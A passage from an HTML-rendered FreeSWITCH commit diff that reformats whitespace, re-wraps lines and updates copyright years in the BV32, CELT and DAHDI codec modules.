</del><ins>+        SWITCH_ADD_CODEC(codec_interface, "BroadVoice32 (BV32)");
</ins><span class="cx">
</span><del>-        mpf = 10000, spf = 160, bpf = 320 , ebpf = 40;
</del><ins>+        mpf = 10000, spf = 160, bpf = 320, ebpf = 40;
</ins><span class="cx">
</span><del>-        for (count = 6; count > 0; count--) {
-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         127,                                                /* the IANA code number */
-                                                                                         "BV32",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         16000,                                                /* samples transferred per second */
-                                                                                         16000,                                                /* actual samples transferred per second */
-                                                                                         32000,                                                /* bits transferred per second */
-                                                                                         mpf * count,                                /* number of microseconds per frame */
-                                                                                         spf * count,                                /* number of samples per frame */
-                                                                                         bpf * count,                                /* number of bytes per frame decompressed */
-                                                                                         ebpf * count,                                /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_bv32_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_bv32_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_bv32_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_bv32_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        for (count = 6; count > 0; count--) {
+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         127,        /* the IANA code number */
+                                                                                         "BV32",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         16000,        /* samples transferred per second */
+                                                                                         16000,        /* actual samples transferred per second */
+                                                                                         32000,        /* bits transferred per second */
+                                                                                         mpf * count,        /* number of microseconds per frame */
+                                                                                         spf * count,        /* number of samples per frame */
+                                                                                         bpf * count,        /* number of bytes per frame decompressed */
+                                                                                         ebpf * count,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_bv32_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_bv32_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_bv32_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_bv32_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* indicate that the module should continue to be loaded */
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_celtmod_celtc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_celt/mod_celt.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -51,43 +51,43 @@
</span><span class="cx">
</span><span class="cx">         if (!(encoding || decoding) || (!(context = switch_core_alloc(codec->memory_pool, sizeof(*context))))) {
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx">
</span><del>-        context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
</del><ins>+        context->mode_object = celt_mode_create(codec->implementation->actual_samples_per_second, codec->implementation->samples_per_packet, NULL);
</ins><span class="cx">         celt_mode_info(context->mode_object, CELT_GET_FRAME_SIZE, &context->frame_size);
</span><del>-        context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size/codec->implementation->actual_samples_per_second + 4) / 8;
</del><ins>+        context->bytes_per_packet = (codec->implementation->bits_per_second * context->frame_size / codec->implementation->actual_samples_per_second + 4) / 8;
</ins><span class="cx">
</span><span class="cx">         /*
</span><del>-        if (codec->fmtp_in) {
-                int x, argc;
-                char *argv[10];
-                argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
-                for (x = 0; x < argc; x++) {
-                        char *data = argv[x];
-                        char *arg;
-                        switch_assert(data);
-                        while (*data == ' ') {
-                                data++;
-                        }
-                        if ((arg = strchr(data, '='))) {
-                                *arg++ = '\0';
-                                if (!strcasecmp(data, "bitrate")) {
-                                        bit_rate = atoi(arg);
-                                }
-                        }
-                }
-        }
-        
-        codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
-        */
</del><ins>+         if (codec->fmtp_in) {
+         int x, argc;
+         char *argv[10];
+         argc = switch_separate_string(codec->fmtp_in, ';', argv, (sizeof(argv) / sizeof(argv[0])));
+         for (x = 0; x < argc; x++) {
+         char *data = argv[x];
+         char *arg;
+         switch_assert(data);
+         while (*data == ' ') {
+         data++;
+         }
+         if ((arg = strchr(data, '='))) {
+         *arg++ = '\0';
+         if (!strcasecmp(data, "bitrate")) {
+         bit_rate = atoi(arg);
+         }
+         }
+         }
+         }
+
+         codec->fmtp_out = switch_core_sprintf(codec->memory_pool, "bitrate=%d", bit_rate);
+         */
</ins><span class="cx">         if (encoding) {
</span><span class="cx">                 context->encoder_object = celt_encoder_create(context->mode_object, 1, NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (decoding) {
</span><span class="cx">                 context->decoder_object = celt_decoder_create(context->mode_object, 1, NULL);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         codec->private_info = context;
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -111,8 +111,8 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        *encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *)decoded_data, NULL,
-                                                                                         (unsigned char *)encoded_data, context->bytes_per_packet);
</del><ins>+        *encoded_data_len = (uint32_t) celt_encode(context->encoder_object, (void *) decoded_data, NULL,
+                                                                                         (unsigned char *) encoded_data, context->bytes_per_packet);
</ins><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -149,52 +149,48 @@
</span><span class="cx">
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
</del><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool,
-                                                                                 codec_interface,
-                                                                                 SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                 114,                                                /* the IANA code number */
-                                                                                 "CELT",                                        /* the IANA code name */
-                                                                                 NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                 32000,                                                /* samples transferred per second */
-                                                                                 32000,                                                /* actual samples transferred per second */
-                                                                                 32000,                                                /* bits transferred per second */
-                                                                                 10000,                                                /* number of microseconds per frame */
-                                                                                 320,                                                /* number of samples per frame */
-                                                                                 640,                                                /* number of bytes per frame decompressed */
-                                                                                 0,                                                        /* number of bytes per frame compressed */
-                                                                                 1,                                                        /* number of channels represented */
-                                                                                 1,                                                        /* number of frames per network packet */
-                                                                                 switch_celt_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                 switch_celt_encode,                /* function to encode raw data into encoded data */
-                                                                                 switch_celt_decode,                /* function to decode encoded data into raw data */
-                                                                                 switch_celt_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+        SWITCH_ADD_CODEC(codec_interface, "CELT ultra-low delay");
+
+        switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                 114,        /* the IANA code number */
+                                                                                 "CELT",        /* the IANA code name */
+                                                                                 NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                 32000,        /* samples transferred per second */
+                                                                                 32000,        /* actual samples transferred per second */
+                                                                                 32000,        /* bits transferred per second */
+                                                                                 10000,        /* number of microseconds per frame */
+                                                                                 320,        /* number of samples per frame */
+                                                                                 640,        /* number of bytes per frame decompressed */
+                                                                                 0,        /* number of bytes per frame compressed */
+                                                                                 1,        /* number of channels represented */
+                                                                                 1,        /* number of frames per network packet */
+                                                                                 switch_celt_init,        /* function to initialize a codec handle using this implementation */
+                                                                                 switch_celt_encode,        /* function to encode raw data into encoded data */
+                                                                                 switch_celt_decode,        /* function to decode encoded data into raw data */
+                                                                                 switch_celt_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">         ms_per_frame = 2000;
</span><span class="cx">         samples_per_frame = 96;
</span><span class="cx">         bytes_per_frame = 192;
</span><del>-        
</del><ins>+
</ins><span class="cx">         for (x = 0; x < 5; x++) {
</span><del>-                switch_core_codec_add_implementation(pool,
-                                                                                         codec_interface,
-                                                                                         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-                                                                                         114,                                                /* the IANA code number */
-                                                                                         "CELT",                                        /* the IANA code name */
-                                                                                         NULL,                                                /* default fmtp to send (can be overridden by the init function) */
-                                                                                         48000,                                                /* samples transferred per second */
-                                                                                         48000,                                                /* actual samples transferred per second */
-                                                                                         48000,                                                /* bits transferred per second */
-                                                                                         ms_per_frame,                                /* number of microseconds per frame */
-                                                                                         samples_per_frame,                        /* number of samples per frame */
-                                                                                         bytes_per_frame,                        /* number of bytes per frame decompressed */
-                                                                                         0,                                                        /* number of bytes per frame compressed */
-                                                                                         1,                                                        /* number of channels represented */
-                                                                                         1,                                                        /* number of frames per network packet */
-                                                                                         switch_celt_init,                        /* function to initialize a codec handle using this implementation */
-                                                                                         switch_celt_encode,                /* function to encode raw data into encoded data */
-                                                                                         switch_celt_decode,                /* function to decode encoded data into raw data */
-                                                                                         switch_celt_destroy);                /* deinitalize a codec handle using this implementation */
</del><ins>+                switch_core_codec_add_implementation(pool, codec_interface, SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
+                                                                                         114,        /* the IANA code number */
+                                                                                         "CELT",        /* the IANA code name */
+                                                                                         NULL,        /* default fmtp to send (can be overridden by the init function) */
+                                                                                         48000,        /* samples transferred per second */
+                                                                                         48000,        /* actual samples transferred per second */
+                                                                                         48000,        /* bits transferred per second */
+                                                                                         ms_per_frame,        /* number of microseconds per frame */
+                                                                                         samples_per_frame,        /* number of samples per frame */
+                                                                                         bytes_per_frame,        /* number of bytes per frame decompressed */
+                                                                                         0,        /* number of bytes per frame compressed */
+                                                                                         1,        /* number of channels represented */
+                                                                                         1,        /* number of frames per network packet */
+                                                                                         switch_celt_init,        /* function to initialize a codec handle using this implementation */
+                                                                                         switch_celt_encode,        /* function to encode raw data into encoded data */
+                                                                                         switch_celt_decode,        /* function to decode encoded data into raw data */
+                                                                                         switch_celt_destroy);        /* deinitalize a codec handle using this implementation */
</ins><span class="cx">                 ms_per_frame += 2000;
</span><span class="cx">                 samples_per_frame += 96;
</span><span class="cx">                 bytes_per_frame += 192;
</span></span></pre></div>
<a id="freeswitchtrunksrcmodcodecsmod_dahdi_codecmod_dahdi_codecc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/codecs/mod_dahdi_codec/mod_dahdi_codec.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -33,7 +33,7 @@
</span><span class="cx"> #include <switch.h>
</span><span class="cx"> #include <g711.h>
</span><span class="cx"> #include <poll.h>
</span><del>-#include <linux/types.h> /* __u32 */
</del><ins>+#include <linux/types.h>                /* __u32 */
</ins><span class="cx"> #include <sys/ioctl.h>
</span><span class="cx"> #include <unistd.h>
</span><span class="cx"> #include <fcntl.h>
</span><span class="lines">@@ -75,8 +75,8 @@
</span><span class="cx"> #define DAHDI_FORMAT_G729A (1 << 8)
</span><span class="cx">
</span><span class="cx"> struct dahdi_transcoder_formats {
</span><del>-        __u32 srcfmt;
-        __u32 dstfmt;
</del><ins>+        __u32 srcfmt;
+        __u32 dstfmt;
</ins><span class="cx"> };
</span><span class="cx">
</span><span class="cx"> struct dahdi_transcoder_info {
</span><span class="lines">@@ -108,15 +108,11 @@
</span><span class="cx">         int32_t fdflags;
</span><span class="cx">         int32_t fd = open(transcoding_device, O_RDWR);
</span><span class="cx">         if (fd < 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                "Failed to open %s transcoder device: %s.\n",
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
</ins><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="cx">         if (ioctl(fd, DAHDI_TC_ALLOCATE, fmts)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR,
-                                "Failed to attach to transcoder: %s.\n",
-                                strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to attach to transcoder: %s.\n", strerror(errno));
</ins><span class="cx">                 close(fd);
</span><span class="cx">                 return -1;
</span><span class="cx">         }
</span><span class="lines">@@ -124,15 +120,14 @@
</span><span class="cx">         if (fdflags > -1) {
</span><span class="cx">                 fdflags |= O_NONBLOCK;
</span><span class="cx">                 if (fcntl(fd, F_SETFL, fdflags)) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
-                                        transcoder_name, strerror(errno));
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not set non-block mode in %s transcoder FD: %s\n",
+                                                         transcoder_name, strerror(errno));
</ins><span class="cx">                         /* should we abort? this may cause channels to hangup when overruning the device
</span><span class="cx">                          * see jira dahdi codec issue MODCODEC-8 (Hung Calls and Codec DAHDI G.729A 8.0k decoder error!)
</span><span class="cx">                          * */
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n",
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Could not get flags from %s transcoder FD: %s\n", transcoder_name, strerror(errno));
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (fmts->srcfmt & DAHDI_FORMAT_ULAW) {
</span><span class="lines">@@ -154,19 +149,17 @@
</span><span class="cx">         struct dahdi_context *context = codec->private_info;
</span><span class="cx">
</span><span class="cx">         fmts.srcfmt = DAHDI_FORMAT_ULAW;
</span><del>-        fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</del><ins>+        fmts.dstfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
</span><span class="cx">         context->encoding_fd = switch_dahdi_get_transcoder(&fmts);
</span><span class="cx">         if (context->encoding_fd < 0) {
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n",
-                                                 fmts.srcfmt, fmts.dstfmt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "encoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n",
-                                         fmts.srcfmt, fmts.dstfmt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Encoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -176,23 +169,21 @@
</span><span class="cx">
</span><span class="cx"> static switch_status_t init_decoder(switch_codec_t *codec)
</span><span class="cx"> {
</span><del>- struct dahdi_transcoder_formats fmts;
- struct dahdi_context *context = codec->private_info;
</del><ins>+        struct dahdi_transcoder_formats fmts;
+        struct dahdi_context *context = codec->private_info;
</ins><span class="cx">
</span><span class="cx">         fmts.dstfmt = DAHDI_FORMAT_ULAW;
</span><del>-        fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</del><ins>+        fmts.srcfmt = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? DAHDI_FORMAT_G729A : DAHDI_FORMAT_G723_1;
</span><span class="cx">         context->decoding_fd = switch_dahdi_get_transcoder(&fmts);
</span><span class="cx">         if (context->decoding_fd < 0) {
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n",
-                                fmts.srcfmt, fmts.dstfmt);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and denied with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n",
-                                fmts.srcfmt, fmts.dstfmt);
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Decoding requested and granted with %d/%d.\n", fmts.srcfmt, fmts.dstfmt);
</ins><span class="cx"> #endif
</span><span class="cx">
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -228,7 +219,7 @@
</span><span class="cx">         /* ulaw requires 8 times more storage than g729 and 12 times more than G723, right?
</span><span class="cx">          * this can be used to calculate the target buffer when encoding and decoding
</span><span class="cx">          * */
</span><del>-        context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</del><ins>+        context->codec_r = (codec->implementation->ianacode == CODEC_G729_IANA_CODE)
</ins><span class="cx">                 ? 8 : 12;
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -238,7 +229,7 @@
</span><span class="cx"> static int wait_for_transcoder(int fd)
</span><span class="cx"> {
</span><span class="cx">         /* let's wait a bit for the transcoder, if in 20msthe driver does not notify us that its ready to give us something
</span><del>-        then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
</del><ins>+         then just bail out with 0 bytes encoded/decoded as result, I'd expect the card to hold that buffer and return it later */
</ins><span class="cx">         int res = 0;
</span><span class="cx">         struct pollfd readpoll;
</span><span class="cx">         memset(&readpoll, 0, sizeof(readpoll));
</span><span class="lines">@@ -246,21 +237,21 @@
</span><span class="cx">         readpoll.events = POLLIN;
</span><span class="cx">         /* my testing shows that it does not take more than 1ms to encode a 160 bytes frame ulaw to g729,
</span><span class="cx">          I dont think there is much difference decoding and for g723, waiting 10ms seems more than reasonable */
</span><del>-        res = poll(&readpoll, 1, 10);
</del><ins>+        res = poll(&readpoll, 1, 10);
</ins><span class="cx">         return res;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> static switch_status_t switch_dahdi_encode(switch_codec_t *codec,
</span><del>-                                         switch_codec_t *other_codec,
-                                         void *decoded_data,
-                                         uint32_t decoded_data_len,
-                                         uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
-                                         unsigned int *flag)
</del><ins>+                                                                                 switch_codec_t *other_codec,
+                                                                                 void *decoded_data,
+                                                                                 uint32_t decoded_data_len,
+                                                                                 uint32_t decoded_rate, void *encoded_data, uint32_t *encoded_data_len, uint32_t *encoded_rate,
+                                                                                 unsigned int *flag)
</ins><span class="cx"> {
</span><span class="cx">         int32_t res;
</span><span class="cx">         short *dbuf_linear;
</span><span class="cx">         unsigned char *ebuf_g729;
</span><del>-        unsigned char ebuf_ulaw[decoded_data_len/2];
</del><ins>+        unsigned char ebuf_ulaw[decoded_data_len / 2];
</ins><span class="cx">         uint32_t i;
</span><span class="cx">         struct dahdi_context *context = NULL;
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -290,7 +281,8 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         if (i != res) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i, transcoder_name, res);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s encoder device, but only wrote %d bytes.\n", i,
+                                                 transcoder_name, res);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         res = wait_for_transcoder(context->encoding_fd);
</span><span class="lines">@@ -333,7 +325,7 @@
</span><span class="cx">         int32_t res;
</span><span class="cx">         short *dbuf_linear;
</span><span class="cx">         // we only can decode up to half ulaw bytes of whatever their destiny linear buffer is
</span><del>-        unsigned char dbuf_ulaw[*decoded_data_len/2];
</del><ins>+        unsigned char dbuf_ulaw[*decoded_data_len / 2];
</ins><span class="cx">         unsigned char *ebuf_g729;
</span><span class="cx">         uint32_t i;
</span><span class="cx">         struct dahdi_context *context;
</span><span class="lines">@@ -360,7 +352,7 @@
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Switch DAHDI decode in silence returned %d bytes.\n", *decoded_data_len);
</span><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><del>-        }
</del><ins>+        }
</ins><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Writing %d bytes to decode.\n", encoded_data_len);
</span><span class="cx"> #endif
</span><span class="lines">@@ -370,12 +362,12 @@
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         if (encoded_data_len != res) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n", encoded_data_len, transcoder_name, res);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Requested to write %d bytes to %s decoder device, but only wrote %d bytes.\n",
+                                                 encoded_data_len, transcoder_name, res);
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n",
-                        sizeof(dbuf_ulaw));
</del><ins>+        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Attempting to read from device %d bytes of decoded ulaw data.\n", sizeof(dbuf_ulaw));
</ins><span class="cx"> #endif
</span><span class="cx">         res = wait_for_transcoder(context->decoding_fd);
</span><span class="cx">         if (-1 == res) {
</span><span class="lines">@@ -386,7 +378,8 @@
</span><span class="cx">                 memset(dbuf_linear, 0, codec->implementation->decoded_bytes_per_packet);
</span><span class="cx">                 *decoded_data_len = codec->implementation->decoded_bytes_per_packet;
</span><span class="cx"> #ifdef DEBUG_DAHDI_CODEC
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name, *decoded_data_len);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "No output on %s decoder device, returning silence frame of %d bytes.\n", transcoder_name,
+                                                 *decoded_data_len);
</ins><span class="cx"> #endif
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="lines">@@ -437,10 +430,8 @@
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><span class="cx">         switch_mutex_lock(transcoder_counter_mutex);
</span><del>-        stream->write_function(stream, "Using %d encoders of a total of %d available.\n",
-                        total_encoders_usage, total_encoders);
-        stream->write_function(stream, "Using %d decoders of a total of %d available.\n",
-                        total_decoders_usage, total_decoders);
</del><ins>+        stream->write_function(stream, "Using %d encoders of a total of %d available.\n", total_encoders_usage, total_encoders);
+        stream->write_function(stream, "Using %d decoders of a total of %d available.\n", total_decoders_usage, total_decoders);
</ins><span class="cx">         switch_mutex_unlock(transcoder_counter_mutex);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -452,10 +443,10 @@
</span><span class="cx">         struct stat statbuf;
</span><span class="cx">         struct dahdi_transcoder_info info = { 0 };
</span><span class="cx">         int32_t fd, res;
</span><del>-        int mpf = 20000; /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
-        int spf = 160;
-        int bpfd = 320;
-        int bpfc = 20;
</del><ins>+        int mpf = 20000;                        /* Algorithmic delay of 15ms with 5ms of look-ahead delay */
+        int spf = 160;
+        int bpfd = 320;
+        int bpfc = 20;
</ins><span class="cx">         int fpnp = 20;
</span><span class="cx">
</span><span class="cx">         total_encoders = 0;
</span><span class="lines">@@ -479,8 +470,7 @@
</span><span class="cx">
</span><span class="cx">         fd = open(transcoding_device, O_RDWR);
</span><span class="cx">         if (fd < 0) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n",
-                                transcoder_name, strerror(errno));
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to open %s transcoder device: %s.\n", transcoder_name, strerror(errno));
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -491,14 +481,13 @@
</span><span class="cx">                         continue;
</span><span class="cx">                 }
</span><span class="cx">                 if ((info.dstfmts & DAHDI_FORMAT_ULAW) && (info.srcfmts & (DAHDI_FORMAT_G729A | DAHDI_FORMAT_G723_1))) {
</span><del>-                        total_decoders += info.numchannels;
</del><ins>+                        total_decoders += info.numchannels;
</ins><span class="cx">                         continue;
</span><span class="cx">                 }
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE,
-                                "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Not using transcoder %s, we just support ULAW and G723.1/G729A", info.name);
</ins><span class="cx">         }
</span><span class="cx">         close(fd);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!total_encoders && !total_decoders) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "No DAHDI transcoders found.\n");
</span><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -510,79 +499,73 @@
</span><span class="cx">
</span><span class="cx">         /* connect my internal structure to the blank pointer passed to me */
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><del>-        
-        SWITCH_ADD_CODEC(codec_interface, "DAHDI G.729A 8.0k"); /* 8.0kbit */
</del><span class="cx">
</span><del>-        switch_core_codec_add_implementation(pool,
-         codec_interface,
-         SWITCH_CODEC_TYPE_AUDIO,        /* enumeration defining the type of the codec */
-         18,                                /* the IANA code number */
-         "G729",                         /* the IANA code name */
-         NULL,                                /* default fmtp to send (can be overridden by the init function) */
-         8000,                                /* samples transferred per second */
-         8000,                                /* actual samples transferred per second */
-         8000,                                /* bits transferred per second */
-         mpf,                                /* number of microseconds per frame */
-         spf,                                /* number of samples per frame */
-         bpfd,                                /* number of bytes per frame decompressed */
-         bpfc,                                /* number of bytes per frame compressed */
-         1,                                /* number of channels represented */
